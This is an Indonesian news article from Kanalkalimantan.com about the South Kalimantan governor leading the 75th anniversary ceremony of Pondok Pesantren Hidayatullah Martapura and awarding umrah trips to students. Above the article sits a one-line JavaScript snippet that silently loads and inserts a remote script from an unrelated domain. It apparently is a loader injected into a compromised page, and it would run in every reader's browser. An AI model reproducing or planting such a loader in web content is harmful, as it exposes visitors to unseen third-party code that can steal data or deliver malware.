(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Gubernur Kalsel Pimpin Upacara Haplah ke-75 Ponpes Hidayatullah Martapura

KANALKALIMANTAN.COM, MARTAPURA – Gubernur Kalimantan Selatan H Sahbirin Noor memimpin upacara Hari Peringatan Lahir (Haplah) ke-75 Pondok Pesantren (Ponpes) Hidayatullah Martapura, Selasa (19/7/2023) pagi.

Pada peringatan tersebut, Paman Birin -biasa Gubernur Kalsel disapa- berharap Pondok Pesantren Hidayatullah terus tumbuh maju dan berkembang serta terus berkontribusi secara nyata dalam kemajuan bangsa dan daerah.

“Tidak hanya menciptakan manusia yang cerdas secara intelektual, akan tetapi, juga dapat menciptakan manusia yang bertaqwa kepada Allah SWT, beramal sholeh, berpengetahuan luas, dan cinta tanah air,” ujar Paman Birin.

Gubernur Kalimantan Selatan H Sahbirin Noor memimpin upacara Hari Peringatan Lahir (Haplah) ke-75 Pondok Pesantren (Ponpes) Hidayatullah Martapura, Selasa (19/7/2023) pagi. Foto: adpim

Menurut Gubernur Kalsel, pondok pesantren yang berdiri tahun 1950 ini, secara nyata telah terbukti melahirkan alumni-alumni hebat yang berkontribusi di banyak lini kehidupan, baik di bidang keagamaan, pemerintahan maupun dunia politik.

“Untuk itu, di usia ke-75 tahun ini, mudah-mudahan ponpes ini menjadi pesantren unggulan yang tegak lurus mendukung visi Kalsel Maju, yakni Kalimantan Selatan Makmur, Sejahtera dan Berkelanjutan,” lanjutnya.

Paman Birin menambahkan, pemerintah daerah akan terus berupaya menyelaraskan program kerjanya dengan memperhatikan aspek pendidikan berbasis keagamaan.

Setelah selesai menggelar upacara, Paman Birin kemudian meminta empat santri, yakni dua santri putri dan dua santri putra untuk maju ke depan. Saking antusias tinggi, santri yang maju ke depan berjumlah 12 orang.

Paman Birin menghampiri warung saprah amal dan memborong kuliner yang dijual. Foto: adpim

“Tidak apa-apa, silahkan baris terlebih dahulu. Nah, berhubung tadi saya minta empat orang, yang harus sulit dan yang kalah balik lagi ke barisan,” ujar orang nomor satu di Kalsel ini.

Kemudian dari empat yang tersisa itu, Paman Birin menghadiahi umrah. Salah satu dari santri yang menerima hadiah umrah langsung sujud syukur.

Tidak hanya sampai di situ, setelah upacara selesai, Paman Birin juga menghampiri warung saprah amal dan memborong kuliner yang dijual.

“Ambil haja gratis, tadi sudah ditukari Paman Birin barataan,” ujar Narti, salah satu penjaga warung saprah amal tersebut. (Kanalkalimantan.com/bie)

Reporter: bie
Editor: kk